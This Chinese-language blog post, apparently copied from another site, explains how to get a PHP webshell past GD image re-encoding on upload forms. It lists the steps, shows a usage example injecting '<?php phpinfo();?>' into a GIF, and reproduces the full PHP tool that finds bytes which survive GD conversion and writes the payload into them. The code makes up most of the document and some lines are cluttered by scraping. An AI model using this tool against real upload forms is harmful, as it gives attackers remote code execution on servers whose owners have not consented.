应用调用图片库对上传的文件进行了图片转换, 所以即使将图片与文件合并, 也会将尾部转换掉, 无法使用上传合成图片马等方式上传 webshell.
1, 将正常图片用目标的图形库进行转换
2, 寻找转换前后两次未变的部分
3, 将未变的部分替换为欲上传的 webshell
4, 将替换后的文件进行图像转换, 看是否存在我们替换的内容
转换前: 123abc[112233]abc
转换后: xxxsdd[112233]2du
一个小的测试项目:
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
1, 先生成普通合成图片尝试上传
发现上传成功后, PHP 脚本内容被清除
然后对图片进行处理:
用法: codeinj.PHP demo.gif "<?php phpinfo();?>"
上传后可以成功解析
上传后的图片中 PHP 脚本内容仍然被保留.
- <?PHP
- function gd_process($src_img, $dst_img) {
- try {
- # you can redefine the GD process
- $im = imagecreatefromgif($src_img);
- imagegif($im, $dst_img);
- } catch (Exception $e) {
- printf("%s\n", $e->getMessage());
- return false;
- }
- ?
- return true;
- }
- ?
- ?
- function find_similar_block($src_img, $dst_img, $block_len, $slow=false) {
- $src_data = fread(fopen($src_img, "rb"), filesize($src_img));
- $dst_data = fread(fopen($dst_img, "rb"), filesize($dst_img));
- $src_index = 0;
- $pre_match_array = array();
- ?
- while ($src_index <(strlen($src_data) - $block_len)) {
- $find_data = substr($src_data, $src_index, $block_len);
- ?
- $dst_index = 0;
- $found = false;
- while ($dst_index < (strlen($dst_data) - $block_len)) {
- $temp_data = substr($dst_data, $dst_index, $block_len);
- if (0 === strcmp($find_data, $temp_data)) {
- $match = array(
- "src_offset" => $src_index,
- "dst_offset" => $dst_index
- );
- $pre_match_array[] = $match;
- $found = true;
- ?
- /*
- printf("Similar block found> src_offset: %d\n", $src_index);
- printf("dst_offset: %d\n", $dst_index);
- printf("similar_data: %s\n", str2hex($temp_data));
- printf("similar_length: %s\n\n", strlen($temp_data));
- */
- }
- if ($found && $slow == false)
- $dst_index += $block_len;
- else
- $dst_index++;
- }
- ?
- if ($found && $slow == false)
- $src_index += $block_len;
- else
- $src_index++;
- }
- ?
- return $pre_match_array;
- }
- ?
- ?
- function inject_code_to_src_img($src_img, $pre_match_array, $injection_code) {
- $src_data = fread(fopen($src_img, "rb"), filesize($src_img));
- $inj_len = strlen($injection_code);
- ?
- $find_n = 0;
- foreach ($pre_match_array as $similar_block) {
- #printf("Trying inject code to source image with offset: %d, length: %d\n", $similar_block["src_offset"], $inj_len);
- $mod_src_data = substr($src_data, 0, $similar_block["src_offset"]).$injection_code.substr($src_data, $similar_block["src_offset"] + $inj_len);
- $temp_img = sys_get_temp_dir()."/".$src_img.".mod";
- $temp_cvt_img = $temp_img.".gd";
- fwrite(fopen($temp_img, "wb"), $mod_src_data);
- ?
- if (!gd_process($temp_img, $temp_cvt_img)) {
- #printf("PHP-GD process() the image modified error, offset: %d\n", $similar_block["src_offset"]);
- #printf("length: %d\n\n", $inj_len);
- continue;
- } else {
- if (check_code($temp_cvt_img, $injection_code)) {
- $fuck_img = "gd_".$src_img;
- fwrite(fopen($fuck_img, "wb"), $mod_src_data);
- printf("Inject code to source image successful with offset: %d\n", $similar_block["src_offset"]);
- printf("Saving result \"%s\", have fun! :)\n", $fuck_img);
- exit;
- } else {
- continue;
- #printf("Modified image doesn't work well, offset: %d, retry...\n", $similar_block["src_offset"]);
- }
- }
- }
- }
- ?
- ?
- function check_code($src_img, $injection_code) {
- $data = fread(fopen($src_img, "rb"), filesize($src_img));
- ?
- return strpos($data, $injection_code);
- }
- ?
- ?
- function str2hex($str){
- $hex = "";
- for ($i = 0; $i <strlen($str); $i++){
- $hex .= sprintf("%02x", (ord($str[$i])));;
- }
- ?
- return $hex;
- }
- ?
- ?
- function hex2str($hex){
- $str = "";
- for ($i = 0; $i < strlen($hex)-1; $i+=2){
- $str .= chr(hexdec($hex[$i].$hex[$i+1]));
- }
- ?
- return $str;
- }
- ?
- ?
- /* main */
- if ($argc < 3) {
- printf("Usage: php %s <src_img> <inj_code>\n", $argv[0]);
- exit;
- }
- ?
- $slow = false;
- $src_img = $argv[1];
- $injection_code = $argv[2];
- ?
- $img_info = getimagesize($src_img);
- ?
- /* GIF image type value "1" */
- if ($img_info[2] == '1') {
- $cvt_img = sys_get_temp_dir()."/".basename($src_img);
- if (!gd_process($src_img, $cvt_img)) {
- printf("PHP-GD process() function error, please check out.\n");
- exit;
- }
- } else {
- printf("This script only support GIF image.\n");
- exit;
- }
- ?
- $block_len = strlen($injection_code);
- $pre_match_array = find_similar_block($src_img, $cvt_img, $block_len, $slow);
- ?
- if (sizeof($pre_match_array)) {
- inject_code_to_src_img($src_img, $pre_match_array, $injection_code);
- } else {
- printf("Not found any similar %d bytes block.\n", strlen($injection_code));
- }
- ?
- printf("Cant find any useful similar block to inject code, but take it easy. :(\n");
来源: http://www.bubuko.com/infodetail-3530104.html